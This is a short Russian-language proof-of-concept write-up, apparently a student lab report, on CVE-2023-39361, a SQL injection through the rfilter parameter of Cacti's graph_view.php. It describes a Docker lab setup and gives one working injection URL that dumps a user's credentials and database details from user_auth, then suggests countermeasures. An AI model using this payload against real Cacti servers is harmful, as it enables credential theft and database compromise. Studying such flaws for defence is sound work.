
Доказательство концепции эксплуатации для CVE-2023-39361, SQL-инъекции в Cacti graph_view.php, приводящей к краже данных и потенциальному удалённому выполнению кода (RCE).
[ WHS 3기 ] - 남기찬_7342 (ChoDeokCheol)
graph_view.php существует уязвимость в функции grow_right_pane_tree.action в tree_content существует параметр rfilter, который содержит пользовательский ввод.rfilter проходит проверку через функцию html_validate_tree_vars, но эта проверка только определяет, является ли он действительным регулярным выражением.rfilter вставляется в SQL-запрос, что позволяет внедрить код.docker-compose -v.docker compose up -d. (Образ: cacti:1.2.24)

Эта уязвимость возникает, если в настройках аутентификации обычный пользователь (guest) может просматривать графики.
Данную уязвимость можно проверить с помощью следующих вводимых параметров:
http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23
Видно, что ответ соответствует запрошенному.
Атаки SQL-инъекций возникают при взаимодействии с сервером, когда принимается пользовательский ввод. Данная SQL-инъекция нарушила конфиденциальность базы данных, что привело к утечке активов.
В качестве меры противодействия SQL-инъекции можно проверять значение rfilter по базовому белому списку или экранировать специальные символы (", ', ;, ...). Также можно улучшить, используя ORM-библиотеки, такие как Doctrine, при доступе к БД.